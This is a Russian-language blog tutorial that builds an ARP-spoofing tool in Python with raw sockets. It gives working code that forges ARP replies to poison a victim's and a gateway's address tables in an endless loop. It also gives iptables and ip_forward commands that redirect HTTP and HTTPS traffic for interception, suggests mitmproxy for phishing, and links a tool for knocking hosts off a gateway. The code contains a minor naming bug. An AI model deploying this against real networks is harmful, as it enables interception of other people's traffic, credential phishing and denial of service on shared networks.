Хабрахабр

Реализация ARP-спуфинга на Python

Введение

В данной статье я бы хотел продемонстрировать то, как можно реализовать собственную программу ARP-спуфинга на Python. Реализаций уже тысячи, но почти все они с использованием библиотеки Scapy и пары методов. Возможно данную библиотеку использовать эффективнее, не спорю, но мне было интересно реализовать самому с помощью сокетов и я бы хотел поведать читателям о том, как это делается.

Предполагается, что Вы уже знакомы с тем, как работает ARP-протокол и его недостатком, если нет, то советую прочитать вот эту статью.

Я не являюсь высококвалифицированным специалистом Информационной Безопасности, поэтому прошу тапками не кидать, а любые неточности оговорить в комментариях.

Немного теории

Начнем с того, что код протокола — \x08\x06 и работает он на втором уровне OSI, то есть канальном.
Затем необходимо ознакомиться с телом его пакета, чтобы знать, что отправлять. На википедии оно очень хорошо расписано:

Тело пакета

Hardware type (HTYPE)
Каждый канальный протокол передачи данных имеет свой номер, который хранится в этом поле. Например, Ethernet имеет номер 0x0001.
Protocol type (PTYPE)
Код сетевого протокола. Например, для IPv4 будет записано 0x0800.
Hardware length (HLEN)
Длина физического адреса в байтах. Адреса Ethernet имеют длину 6 байт (0x06).
Protocol length (PLEN)
Длина логического адреса в байтах. IPv4 адреса имеют длину 4 байта (0x04).
Operation
Код операции отправителя: 0x0001 в случае запроса и 0x0002 в случае ответа.
Sender hardware address (SHA)
Физический адрес отправителя.
Sender protocol address (SPA)
Логический адрес отправителя.
Target hardware address (THA)
Физический адрес получателя. Поле пусто при запросе.
Target protocol address (TPA)
Логический адрес получателя.

На первый взгляд может показаться сложно, но если разобраться, то проблем возникнуть не должно.
И так, первое — Hardware Type (Тип Оборудование) у нас это Ethernet, значит код будет 0x0001 или \x00\x01, Protocol Type (Тип протокола) — IPv4, кодируется как \x08\x00; затем идут длина типа оборудования и протокола \x06\x04, а то есть 6 и 4 байтов.
И на конце у нас код операции, который в случае запроса \x00\x01, а в случае ответ \x00\x02 и физические/логические адреса отправителя/получателя.

Реализация

В первую очередь необходимо объявить экземпляр сокета и задать необходимые параметры:

import socketimport time interface = "wlan0" # Прослушиваемый сетевой интерфейсmac = b"\xbb\xbb\xbb\xbb\xbb\xbb" # Наш MAC-адрес, он же bb:bb:bb:bb:bb:bb gateway_ip = socket.inet_aton("192.168.1.1") # IP-адрес шлюзаgateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa" # MAC-адрес шлюза victim_ip = socket.inet_aton("192.168.1.2") # IP-адрес жертвыvictim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc" # MAC-адрес жертвы connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))s.bind((interface, socket.htons(0x0800)))

Исходя из того, что ARP это протокол второго уровня OSI, мы используем первым параметром socket.PF_PACKET. Также для работы программы Вам будут нужны права root.
Метод socket.htons() преобразовывает 16-битные натуральные числа в сетевой порядок байтов.
Метод socket.inet_aton() преобразовывает IPv4 адреса в 32-битный двоичный формат.
Также я объявил необходимые переменные.

Следующий этап — формирование пакета:

arp_code = b'\x08\x06' # Код протоколаhtype = b'\x00\x01' # Hardware Typeptype = b'\x08\x00' # Protocol Typehlen = b'\x06' # Hardware Lengthplen = b'\x04' # Protocol Lengthoperation = b'\x00\x02' # Operation Code - Ответ protocol = htype + ptype + hlen + plen + operation # Собранное тело # Две части пакетов ниже указывают от кого, кому и по какому протоколу отсылать данныеeth_packet_1 = victim_mac + mac + arp_codeeth_packet_2 = gateway_mac + mac + arp_code # Окончательные пакеты для жертвы и шлюза# 4 переменные после протокола это 4 последних значения из спойлера, которые мы не разобралиrequest_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_iprequest_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip # Отправка поддельных пакетовwhile True: connect.send(request_victim) connect.send(request_gateway) time.sleep(1)

Сейчас мы разобрали только саму программу, но если вы хотите не только отключать пользователей от шлюза, но и подменивать/нюхать пакеты, то для этого нужно будет включить переадресацию в ip_forward:

echo 1 > /proc/sys/net/ipv4/ip_forward

А также настроить маршрутизацию пакетов через iptables:

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADEiptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080

Если Вы хотите провести фишинг, то лучше всего подойдет утилита mitmproxy.
Просмотреть проходящий через Вас трафик можно утилитой tcpdump.

Также у себя на GitHub я опубликовал скрипт, предназначенный для отключения всех или некоторых узлов от шлюза — github.com/secwayz/netbuster

В результате написания программы я обнаружил, то что даже при коде операции 0x0001 (запрос) и со всеми параметрами из ответа(они немного отличаются), жертва все равно принимает пакет и меняет MAC-адрес в ARP-таблице, при этом стабильность атаки и стойкость этой записи значительно повышаются. Я предполагаю, что это еще один недостаток протокола, при котором сетевой интерфейс не игнорирует неверно составленный пакет, а обрабатывает его и перезаписывает таблицу.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть